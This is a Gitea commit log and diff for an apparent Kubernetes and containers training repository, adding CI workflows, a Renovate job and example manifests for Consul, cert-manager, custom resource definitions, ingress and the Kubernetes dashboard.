Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 10:40:08 +02:00
8ce71e9b17 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 10:37:32 +02:00
a7520259df New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 10:37:28 +02:00
8b522cff82 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 10:34:46 +02:00
af5701fda5 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 10:30:49 +02:00
b076dfb64c New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 10:25:42 +02:00
7de23443e4 Renamed
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-06 10:25:33 +02:00
8c4e494257 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 10:23:56 +02:00
95726c14f6 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 13s
2023-06-06 10:21:45 +02:00
9d504e4db0 Modified content
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 10:19:40 +02:00
6059723e74 Modified 2023-06-06 10:19:24 +02:00
9d89f6dff6 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 09:25:39 +02:00
39028b1859 Configure provisioning
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 08:40:59 +02:00
8dd2045f9c Update 2023-06-06 08:40:47 +02:00
4d2a8f4b7e Minor changes
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-06 08:00:13 +02:00
20439cbe2f Cleanup 2023-06-06 08:00:04 +02:00
6883cf37e5 Minor changes
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 07:55:47 +02:00
8a6e72cddd Create VM's
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-06 07:47:05 +02:00
a6b7c0525f Pin docker-ce to working version
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 16s
2023-06-02 15:23:17 +02:00
11b3620829 Added workshops
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-02 14:23:31 +02:00
0460ba81f0 Test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-02 14:14:57 +02:00
10cf57f854 Test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 14s
2023-06-02 14:12:50 +02:00
4aad2de3dc Test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-02 14:09:24 +02:00
ceab660178 Test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-02 14:07:39 +02:00
a410657fe2 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-02 14:01:58 +02:00
dedf9b2b50 trst
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 13s
2023-06-02 14:01:01 +02:00
92f255b645 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-02 13:41:48 +02:00
192ce363e1 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-02 13:36:02 +02:00
0037dba087 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 14s
2023-06-02 13:34:52 +02:00
d703c3cb84 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-02 13:33:47 +02:00
e9d4459156 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-02 13:31:14 +02:00
ff1ada00a2 TEst
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 13s
2023-06-02 13:28:52 +02:00
11578d6ddd Renamed title
Some checks failed
Gitea Actions Demo / Explore-Gitea-Actions (push) Failing after 18s
2023-06-02 13:04:42 +02:00
c36c056580 Corrected date
Some checks failed
Gitea Actions Demo / Explore-Gitea-Actions (push) Failing after 18s
2023-04-22 08:04:55 +02:00
f98a173714 Make script flexible 2023-04-22 08:04:38 +02:00
eb0ed998dd Add section about security
Some checks failed
Gitea Actions Demo / Explore-Gitea-Actions (push) Failing after 16s
2023-04-21 16:25:06 +02:00
757a2cc608 Add bd courseware back 2023-04-21 16:24:48 +02:00
af88011387 Improve build 2023-04-21 16:24:25 +02:00
4a1e649928 Improve build 2023-04-21 16:24:12 +02:00
619289e5d6 Cleanup
Some checks failed
Gitea Actions Demo / Explore-Gitea-Actions (push) Failing after 17s
2023-04-21 13:36:10 +02:00
4129b0ada5 Fix build proces 2023-04-21 13:35:39 +02:00
6ab4567a9d Exclude these
Some checks failed
Docker Image CI / build (push) Successful in 12s
Gitea Actions Demo / Explore-Gitea-Actions (push) Failing after 16s
2023-04-21 12:38:28 +02:00
c95c40dd7d test
Some checks failed
Gitea Actions Demo / Explore-Gitea-Actions (push) Failing after 20s
Docker Image CI / build (push) Successful in 12s
2023-04-20 09:55:08 +02:00
d0395ba88f Minnor addition
Some checks failed
Gitea Actions Demo / Explore-Gitea-Actions (push) Failing after 19s
Gitea Actions Demo / Second-step (push) Failing after 3s
Docker Image CI / build (push) Successful in 11s
2023-04-20 08:55:51 +02:00
f1d6188ed0 Update '.gitea/workflows/build.yaml'
Some checks failed
Docker Image CI / build (push) Successful in 11s
Gitea Actions Demo / Explore-Gitea-Actions (push) Failing after 33s
Gitea Actions Demo / Second-step (push) Failing after 3s
2023-04-20 06:05:41 +00:00
2c81f9d34b Update '.gitea/workflows/build.yaml'
Some checks failed
Gitea Actions Demo / Explore-Gitea-Actions (push) Failing after 3s
Gitea Actions Demo / Second-step (push) Failing after 3s
Docker Image CI / build (push) Successful in 11s
2023-04-20 06:04:56 +00:00
849865452d Update '.gitea/workflows/build.yaml'
Some checks failed
Docker Image CI / build (push) Successful in 11s
Gitea Actions Demo / Explore-Gitea-Actions (push) Failing after 15s
Gitea Actions Demo / Second-step (push) Failing after 3s
2023-04-20 05:45:44 +00:00
fd48e55261 Update '.gitea/workflows/build.yaml'
Some checks failed
Gitea Actions Demo / Explore-Gitea-Actions (push) Failing after 17s
Gitea Actions Demo / Second-step (push) Failing after 3s
Docker Image CI / build (push) Successful in 10s
2023-04-20 05:43:49 +00:00
cd84501e5e test
Some checks failed
Gitea Actions Demo / Explore-Gitea-Actions (push) Successful in 17s
Gitea Actions Demo / Second-step (push) Failing after 3s
Docker Image CI / build (push) Successful in 10s
2023-04-19 17:56:47 +02:00
c50f03b36a test
Some checks failed
Gitea Actions Demo / Explore-Gitea-Actions (push) Successful in 17s
Gitea Actions Demo / Second-step (push) Failing after 4s
Docker Image CI / build (push) Successful in 11s
2023-04-19 17:54:52 +02:00
702dbedebe Update '.gitea/workflows/build.yaml'
Some checks failed
Gitea Actions Demo / Explore-Gitea-Actions (push) Successful in 15s
Gitea Actions Demo / Second-step (push) Failing after 3s
Docker Image CI / build (push) Successful in 9s
2023-04-19 15:52:28 +00:00
829526a31f Update '.gitea/workflows/build.yaml'
Some checks failed
Docker Image CI / build (push) Successful in 10s
Gitea Actions Demo / Explore-Gitea-Actions (push) Successful in 15s
Gitea Actions Demo / Second-step (push) Failing after 3s
2023-04-19 15:48:41 +00:00
262c3b4d0f Delete '.gitea/workflows/super-linter.yaml'
All checks were successful
Gitea Actions Demo / Explore-Gitea-Actions (push) Successful in 19s
Gitea Actions Demo / Second-step (push) Successful in 3s
Docker Image CI / build (push) Successful in 10s
2023-04-19 15:46:18 +00:00
7861bd453b Enable branch
Some checks failed
Gitea Actions Demo / Explore-Gitea-Actions (push) Successful in 15s
Gitea Actions Demo / Second-step (push) Successful in 3s
Docker Image CI / build (push) Successful in 11s
Lint Code Base / Lint Code Base (push) Failing after 1m15s
2023-04-19 12:02:04 +02:00
13c367d24e Change branch
All checks were successful
Gitea Actions Demo / Explore-Gitea-Actions (push) Successful in 16s
Gitea Actions Demo / Second-step (push) Successful in 4s
Docker Image CI / build (push) Successful in 10s
2023-04-19 12:01:32 +02:00
f52b3208cc New tests
All checks were successful
Gitea Actions Demo / Explore-Gitea-Actions (push) Successful in 17s
Gitea Actions Demo / Second-step (push) Successful in 4s
Docker Image CI / build (push) Successful in 10s
2023-04-19 12:00:50 +02:00
06dc64a608 Docker test
Some checks failed
Gitea Actions Demo / Explore-Gitea-Actions (push) Successful in 17s
Gitea Actions Demo / Second-step (push) Successful in 4s
Docker Image CI / build (push) Failing after 45s
2023-04-19 11:54:12 +02:00
2b3a14fe39 And again
Some checks failed
Gitea Actions Demo / Explore-Gitea-Actions (push) Successful in 17s
Gitea Actions Demo / Second-step (push) Successful in 4s
Docker Image CI / build (push) Failing after 5m59s
2023-04-19 11:43:17 +02:00
61d9f4008f Again
Some checks failed
Gitea Actions Demo / Explore-Gitea-Actions (push) Successful in 19s
Gitea Actions Demo / Second-step (push) Successful in 4s
Docker Image CI / build (push) Failing after 29s
2023-04-19 11:41:35 +02:00
8a4224585c Try again
Some checks failed
Gitea Actions Demo / Explore-Gitea-Actions (push) Successful in 17s
Gitea Actions Demo / Second-step (push) Successful in 4s
Docker Image CI / build (push) Failing after 3s
2023-04-19 11:37:58 +02:00
32e3e0f6f6 test
Some checks failed
Gitea Actions Demo / Explore-Gitea-Actions (push) Successful in 18s
Gitea Actions Demo / Second-step (push) Successful in 3s
Docker Image CI / build (push) Failing after 3s
2023-04-19 11:29:28 +02:00
75673f85bd Test docker
All checks were successful
Gitea Actions Demo / Explore-Gitea-Actions (push) Successful in 16s
Gitea Actions Demo / Second-step (push) Successful in 3s
2023-04-19 11:25:15 +02:00
ba201d6c3f Add second job
All checks were successful
Gitea Actions Demo / Explore-Gitea-Actions (push) Successful in 18s
Gitea Actions Demo / Second-step (push) Successful in 3s
2023-04-19 11:19:56 +02:00
0bdd8f2d85 More info
All checks were successful
Gitea Actions Demo / Explore-Gitea-Actions (push) Successful in 16s
2023-04-19 10:50:38 +02:00
44935616ae Update '.gitea/workflows/build.yaml'
All checks were successful
Gitea Actions Demo / Explore-Gitea-Actions (push) Successful in 17s
2023-04-19 07:22:04 +00:00
6683ea52b4 Script
All checks were successful
Gitea Actions Demo / Explore-Gitea-Actions (push) Successful in 20s
2023-04-19 08:07:20 +02:00
497cad20ee Script
Some checks failed
Gitea Actions Demo / Explore-Gitea-Actions (push) Failing after 2s
2023-04-19 08:04:53 +02:00
def2924f0e More info
All checks were successful
Gitea Actions Demo / Explore-Gitea-Actions (push) Successful in 19s
2023-04-19 06:01:23 +00:00
4fa8447e1f test
All checks were successful
Gitea Actions Demo / Explore-Gitea-Actions (push) Successful in 15s
2023-04-19 07:28:26 +02:00
d3b284da91 Actions test
All checks were successful
Gitea Actions Demo / Explore-Gitea-Actions (push) Successful in 1m35s
2023-04-19 07:22:05 +02:00
4571b5ef03 Actions test 2023-04-19 07:20:01 +02:00
75354c0056 Delete '.woodpecker.yml' 2023-04-18 06:14:23 +00:00
5c50dd4430 Update 'slides/marco/intro.md' 2023-04-18 05:38:58 +00:00
6879b77ea6 Cleanup 2023-04-16 14:20:29 +02:00
ece486f333 Removed 2023-04-16 14:17:54 +02:00
a818e654e8 Needed 2023-04-16 14:15:56 +02:00
d10ea37589 Update 2023-04-16 14:15:48 +02:00
a8f8ba51a1 Merge branch 'triodos' of https://git.verleun.org/training/containers 2023-04-16 14:09:59 +02:00
10ed14696e Merge branch 't-dose-2023' 2023-04-16 13:56:13 +02:00
20360be7c2 enter the commit message for your changes. Lines starting 2023-04-16 13:37:18 +02:00
3fc1329bd4 Small fixes
Some checks failed
ci/woodpecker/push/woodpecker Pipeline failed
2023-01-13 10:29:44 +01:00
326f54d70b upgraded ubuntu
Some checks failed
ci/woodpecker/push/woodpecker Pipeline failed
2023-01-11 17:51:40 +01:00
2bacb8bac5 Remove link
Some checks failed
ci/woodpecker/push/woodpecker Pipeline failed
2023-01-11 16:56:42 +01:00
7ad3ca9cc8 Update for new subscription
Some checks failed
ci/woodpecker/push/woodpecker Pipeline failed
2023-01-11 16:31:46 +01:00
ce3849f47b Cleanup
Some checks failed
ci/woodpecker/push/woodpecker Pipeline failed
2023-01-07 08:52:01 +01:00
4f316b958f Add sig handler
Some checks failed
ci/woodpecker/push/woodpecker Pipeline failed
2023-01-07 08:49:44 +01:00
0ece789e85 Remove link to github 2023-01-07 08:49:44 +01:00
88470f0854 Add sig handler 2023-01-07 08:47:59 +01:00
ccddaabc12 Remove link to github 2023-01-07 08:47:40 +01:00
d07a573f3c Cleanup
Some checks failed
ci/woodpecker/push/woodpecker Pipeline failed
2023-01-05 15:43:22 +01:00
5d71d32efc Back to original in this branch
Some checks failed
ci/woodpecker/push/woodpecker Pipeline failed
2023-01-05 15:37:55 +01:00
337 changed files with 12785 additions and 1183 deletions

2
.gitallowed Normal file
View File

@@ -0,0 +1,2 @@
slides/remark.min.js
slides/remark-0.14.min.js

View File

@@ -0,0 +1,40 @@
name: Gitea Actions Demo Training
run-name: ${{ github.actor }} is testing out Gitea Actions 🚀
# Which git events can trigger this
on: [push]
jobs:
Explore-Gitea-Actions:
# Runner to use
runs-on: ubuntu-24.04
steps:
- run: echo "🎉 The job was automatically triggered by a ${{ github.event_name }} event."
- run: echo "🐧 This job is now running on a ${{ runner.os }} server hosted by Gitea!"
- run: echo "🔎 The name of your branch is ${{ github.ref }} and your repository is ${{ github.repository }}."
- name: Check out repository code
uses: actions/checkout@v6
- run: echo "💡 The ${{ github.repository }} repository has been cloned to the runner."
- run: echo "🖥️ The workflow is now ready to test your code on the runner."
- uses: https://github.com/actions/setup-python@v6
with:
python-version: '3.11.3'
cache: 'pip'
- name: Execute a shell script
run: |
ls -l ${{ github.workspace }}
cd slides
# pip3 install -r requirements.txt
#./build.sh once
mount
df
- run: echo "🍏 This job's status is ${{ job.status }}."
# Second-step:
# runs-on: ubuntu-latest
# steps:
# - name: Run another shell script
# run: |
# set -x
# env | sort
# cd ${{ github.workspace }}
# ls
# cd slides
# ./build.sh once

View File

@@ -0,0 +1,18 @@
# name: Docker Image CI
# on:
# push:
# # branches: [ $default-branch ]
# pull_request:
# branches: [ $default-branch ]
# jobs:
# build:
# runs-on: ubuntu-latest
# steps:
# - uses: actions/checkout@v3
# - uses: https://github.com/actions/hello-world-docker-action@main
# with:
# who-to-greet: 'Mona the Octocat'

View File

@@ -0,0 +1,30 @@
name: renovate
on:
# schedule:
# - cron: "@daily"
push:
branches:
- main
jobs:
renovate:
runs-on: ubuntu-latest
container: ghcr.io/renovatebot/renovate:42.64.1@sha256:e09f71019881fff15f397560d979736c6c6fd712f790fdb0a75697a324ee965a
steps:
- uses: actions/checkout@v6
- run: renovate
env:
LOG_LEVEL: "info"
# Use private gitea
RENOVATE_ENDPOINT: "https://git.verleun.org/api/v1"
# Set the author for commits
RENOVATE_GIT_AUTHOR: "Renovate Bot <renovate-bot@verleun.org>"
# Authenticate with token
RENOVATE_TOKEN: ${{ secrets.RENOVATE_TOKEN }}
# Used to retrieve release notes
GITHUB_COM_TOKEN: ${{ secrets.GH_TOKEN }}
RENOVATE_PLATFORM: "gitea"
RENOVATE_AUTODISCOVER: "false"
# Define repo based on gitea vars
RENOVATE_REPOSITORIES: "${{ gitea.repository }}"

15
.gitignore vendored
View File

@@ -43,8 +43,8 @@ crash.log
crash.*.log
# Exclude all .tfvars files, which are likely to contain sensitive data, such as
# password, private keys, and other secrets. These should not be part of version
# control as they are data points which are potentially sensitive and subject
# password, private keys, and other secrets. These should not be part of version
# control as they are data points which are potentially sensitive and subject
# to change depending on the environment.
*.tfvars
*.tfvars.json
@@ -66,13 +66,22 @@ override.tf.json
.terraformrc
terraform.rc
slides/intro*.html
slides/slides.zip
slides/index.html
slides/past.html
slides/slides.zip
prepare-vms/tags/
prepare-vms/tags/*/status
prepare-vms/tags/*/ips.html
prepare-vms/tags/*/ips.txt
prepare-vms/tags/*/ips.pdf
prepare-vms/www/
kubernetes-day/dependencyTrack/
slides/*.yml.html
slides/past.html
mkdocs/mkdocs/

11
.pre-commit-config.yaml Normal file
View File

@@ -0,0 +1,11 @@
repos:
- repo: https://github.com/pre-commit/pre-commit-hooks
rev: v4.5.0
hooks:
#- id: check-yaml
- id: end-of-file-fixer
- id: trailing-whitespace
#- repo: https://github.com/psf/black
# rev: 22.10.0
# hooks:
# - id: black

4
.vscode/settings.json vendored Normal file
View File

@@ -0,0 +1,4 @@
{
"ansible.python.interpreterPath": "/opt/homebrew/bin/python3",
"GitHooks.hooksDirectory": "/Users/marco/Gitea/training/containers/.git/hooks"
}

View File

@@ -1,9 +0,0 @@
pipeline:
render_website:
image: ubuntu
commands:
- apt update > /dev/null
- apt install -y python3-pip git zip inotify-tools ca-certificates > /dev/null
- pip3 install -r slides/requirements.txt > /dev/null
- cd slides
- ./build.sh

View File

@@ -1,2 +1,6 @@
# containers
Now with runners...
And a simple webhook

8
k8s/Tiltfile.helmchart Normal file
View File

@@ -0,0 +1,8 @@
k8s_yaml(helm(
"./path-to-chart", name="blue",
values=[], # Example: ["./path/to/values.yaml"]
set=[
"image.repository=jpetazzo/color",
"image.tag=latest",
]
))

View File

@@ -0,0 +1,16 @@
apiVersion: apiserver.config.k8s.io/v1
kind: AdmissionConfiguration
plugins:
- name: PodSecurity
configuration:
apiVersion: pod-security.admission.config.k8s.io/v1alpha1
kind: PodSecurityConfiguration
defaults:
enforce: baseline
audit: baseline
warn: baseline
exemptions:
usernames:
- cluster-admin
namespaces:
- kube-system

21
k8s/canary.yaml Normal file
View File

@@ -0,0 +1,21 @@
apiVersion: networking.k8s.io/v1beta1
kind: Ingress
metadata:
name: whatever
annotations:
traefik.ingress.kubernetes.io/service-weights: |
whatever: 90%
whatever-new: 10%
spec:
rules:
- host: whatever.A.B.C.D.nip.io
http:
paths:
- path: /
backend:
serviceName: whatever
servicePort: 80
- path: /
backend:
serviceName: whatever-new
servicePort: 80

35
k8s/certbot.yaml Normal file
View File

@@ -0,0 +1,35 @@
kind: Service
apiVersion: v1
metadata:
name: certbot
spec:
ports:
- port: 80
protocol: TCP
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: certbot
spec:
rules:
- http:
paths:
- path: /.well-known/acme-challenge/
pathType: Prefix
backend:
service:
name: certbot
port:
number: 80
---
apiVersion: v1
kind: Endpoints
metadata:
name: certbot
subsets:
- addresses:
- ip: A.B.C.D
ports:
- port: 8000
protocol: TCP

11
k8s/cm-certificate.yaml Normal file
View File

@@ -0,0 +1,11 @@
apiVersion: cert-manager.io/v1
kind: Certificate
metadata:
name: xyz.A.B.C.D.nip.io
spec:
secretName: xyz.A.B.C.D.nip.io
dnsNames:
- xyz.A.B.C.D.nip.io
issuerRef:
name: letsencrypt-staging
kind: ClusterIssuer

17
k8s/cm-clusterissuer.yaml Normal file
View File

@@ -0,0 +1,17 @@
apiVersion: cert-manager.io/v1
kind: ClusterIssuer
metadata:
name: letsencrypt-staging
spec:
acme:
# Remember to update this if you use this manifest to obtain real certificates :)
email: hello@example.com
server: https://acme-staging-v02.api.letsencrypt.org/directory
# To use the production environment, use the following line instead:
#server: https://acme-v02.api.letsencrypt.org/directory
privateKeySecretRef:
name: issuer-letsencrypt-staging
solvers:
- http01:
ingress:
class: traefik

17
k8s/coffee-1.yaml Normal file
View File

@@ -0,0 +1,17 @@
# Note: apiextensions.k8s.io/v1beta1 is deprecated, and won't be served
# in Kubernetes 1.22 and later versions. This YAML manifest is here just
# for reference, but it's not intended to be used in modern trainings.
apiVersion: apiextensions.k8s.io/v1beta1
kind: CustomResourceDefinition
metadata:
name: coffees.container.training
spec:
group: container.training
version: v1alpha1
scope: Namespaced
names:
plural: coffees
singular: coffee
kind: Coffee
shortNames:
- cof

20
k8s/coffee-2.yaml Normal file
View File

@@ -0,0 +1,20 @@
apiVersion: apiextensions.k8s.io/v1
kind: CustomResourceDefinition
metadata:
name: coffees.container.training
spec:
group: container.training
versions:
- name: v1alpha1
served: true
storage: true
schema:
openAPIV3Schema:
type: object
scope: Namespaced
names:
plural: coffees
singular: coffee
kind: Coffee
shortNames:
- cof

37
k8s/coffee-3.yaml Normal file
View File

@@ -0,0 +1,37 @@
apiVersion: apiextensions.k8s.io/v1
kind: CustomResourceDefinition
metadata:
name: coffees.container.training
spec:
group: container.training
scope: Namespaced
names:
plural: coffees
singular: coffee
kind: Coffee
shortNames:
- cof
versions:
- name: v1alpha1
served: true
storage: true
schema:
openAPIV3Schema:
type: object
required: [ spec ]
properties:
spec:
type: object
properties:
taste:
description: Subjective taste of that kind of coffee bean
type: string
required: [ taste ]
additionalPrinterColumns:
- jsonPath: .spec.taste
description: Subjective taste of that kind of coffee bean
name: Taste
type: string
- jsonPath: .metadata.creationTimestamp
name: Age
type: date

34
k8s/coffees.yaml Normal file
View File

@@ -0,0 +1,34 @@
---
kind: Coffee
apiVersion: container.training/v1alpha1
metadata:
name: arabica
spec:
taste: strong
---
kind: Coffee
apiVersion: container.training/v1alpha1
metadata:
name: excelsa
spec:
taste: fruity
---
kind: Coffee
apiVersion: container.training/v1alpha1
metadata:
name: liberica
spec:
taste: smoky
---
kind: Coffee
apiVersion: container.training/v1alpha1
metadata:
name: robusta
spec:
taste: stronger
bitterness: high
---
kind: Coffee
apiVersion: container.training/v1alpha1
metadata:
name: java

78
k8s/consul-1.yaml Normal file
View File

@@ -0,0 +1,78 @@
# Basic Consul cluster using Cloud Auto-Join.
# Caveats:
# - no actual persistence
# - scaling down to 1 will break the cluster
# - pods may be colocated
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: consul
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: consul
rules:
- apiGroups: [""]
resources:
- pods
verbs:
- get
- list
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: consul
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: consul
subjects:
- kind: ServiceAccount
name: consul
---
apiVersion: v1
kind: Service
metadata:
name: consul
spec:
ports:
- port: 8500
name: http
selector:
app: consul
---
apiVersion: apps/v1
kind: StatefulSet
metadata:
name: consul
spec:
serviceName: consul
replicas: 3
selector:
matchLabels:
app: consul
template:
metadata:
labels:
app: consul
spec:
serviceAccountName: consul
containers:
- name: consul
image: "consul:1.11"
env:
- name: NAMESPACE
valueFrom:
fieldRef:
fieldPath: metadata.namespace
args:
- "agent"
- "-bootstrap-expect=3"
- "-retry-join=provider=k8s label_selector=\"app=consul\" namespace=\"$(NAMESPACE)\""
- "-client=0.0.0.0"
- "-data-dir=/consul/data"
- "-server"
- "-ui"

89
k8s/consul-2.yaml Normal file
View File

@@ -0,0 +1,89 @@
# Better Consul cluster.
# There is still no actual persistence, but:
# - podAntiaffinity prevents pod colocation
# - clusters works when scaling down to 1 (thanks to lifecycle hook)
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: consul
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: consul
rules:
- apiGroups: [""]
resources:
- pods
verbs:
- get
- list
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: consul
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: consul
subjects:
- kind: ServiceAccount
name: consul
---
apiVersion: v1
kind: Service
metadata:
name: consul
spec:
ports:
- port: 8500
name: http
selector:
app: consul
---
apiVersion: apps/v1
kind: StatefulSet
metadata:
name: consul
spec:
serviceName: consul
replicas: 3
selector:
matchLabels:
app: consul
template:
metadata:
labels:
app: consul
spec:
serviceAccountName: consul
affinity:
podAntiAffinity:
requiredDuringSchedulingIgnoredDuringExecution:
- labelSelector:
matchLabels:
app: consul
topologyKey: kubernetes.io/hostname
terminationGracePeriodSeconds: 10
containers:
- name: consul
image: "consul:1.11"
env:
- name: NAMESPACE
valueFrom:
fieldRef:
fieldPath: metadata.namespace
args:
- "agent"
- "-bootstrap-expect=3"
- "-retry-join=provider=k8s label_selector=\"app=consul\" namespace=\"$(NAMESPACE)\""
- "-client=0.0.0.0"
- "-data-dir=/consul/data"
- "-server"
- "-ui"
lifecycle:
preStop:
exec:
command: [ "sh", "-c", "consul leave" ]

99
k8s/consul-3.yaml Normal file
View File

@@ -0,0 +1,99 @@
# Even better Consul cluster.
# That one uses a volumeClaimTemplate to achieve true persistence.
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: consul
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: consul
rules:
- apiGroups: [""]
resources:
- pods
verbs:
- get
- list
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: consul
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: consul
subjects:
- kind: ServiceAccount
name: consul
---
apiVersion: v1
kind: Service
metadata:
name: consul
spec:
ports:
- port: 8500
name: http
selector:
app: consul
---
apiVersion: apps/v1
kind: StatefulSet
metadata:
name: consul
spec:
serviceName: consul
replicas: 3
selector:
matchLabels:
app: consul
volumeClaimTemplates:
- metadata:
name: data
spec:
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 1Gi
template:
metadata:
labels:
app: consul
spec:
serviceAccountName: consul
affinity:
podAntiAffinity:
requiredDuringSchedulingIgnoredDuringExecution:
- labelSelector:
matchLabels:
app: consul
topologyKey: kubernetes.io/hostname
terminationGracePeriodSeconds: 10
containers:
- name: consul
image: "consul:1.11"
volumeMounts:
- name: data
mountPath: /consul/data
env:
- name: NAMESPACE
valueFrom:
fieldRef:
fieldPath: metadata.namespace
args:
- "agent"
- "-bootstrap-expect=3"
- "-retry-join=provider=k8s label_selector=\"app=consul\" namespace=\"$(NAMESPACE)\""
- "-client=0.0.0.0"
- "-data-dir=/consul/data"
- "-server"
- "-ui"
lifecycle:
preStop:
exec:
command: [ "sh", "-c", "consul leave" ]

340
k8s/dashboard-insecure.yaml Normal file
View File

@@ -0,0 +1,340 @@
# This file was generated with the script ./update-dashboard-yaml.sh.
#
---
apiVersion: v1
kind: Namespace
metadata:
creationTimestamp: null
name: kubernetes-dashboard
spec: {}
status: {}
---
apiVersion: v1
kind: ServiceAccount
metadata:
annotations: null
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard
namespace: kubernetes-dashboard
---
apiVersion: v1
kind: Secret
metadata:
annotations: null
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard-certs
namespace: kubernetes-dashboard
type: Opaque
---
apiVersion: v1
kind: Secret
metadata:
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard-csrf
namespace: kubernetes-dashboard
type: Opaque
---
apiVersion: v1
kind: Secret
metadata:
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard-key-holder
namespace: kubernetes-dashboard
type: Opaque
---
apiVersion: v1
data: null
kind: ConfigMap
metadata:
annotations: null
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard-settings
namespace: kubernetes-dashboard
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
annotations: null
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard-metrics
rules:
- apiGroups:
- metrics.k8s.io
resources:
- pods
- nodes
verbs:
- get
- list
- watch
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
annotations: null
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard-metrics
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: kubernetes-dashboard-metrics
subjects:
- kind: ServiceAccount
name: kubernetes-dashboard
namespace: kubernetes-dashboard
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
annotations: null
labels:
app.kubernetes.io/instance: kubernetes-dashboard
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/name: kubernetes-dashboard
app.kubernetes.io/version: 2.7.0
helm.sh/chart: kubernetes-dashboard-6.0.0
name: kubernetes-dashboard
namespace: kubernetes-dashboard
rules:
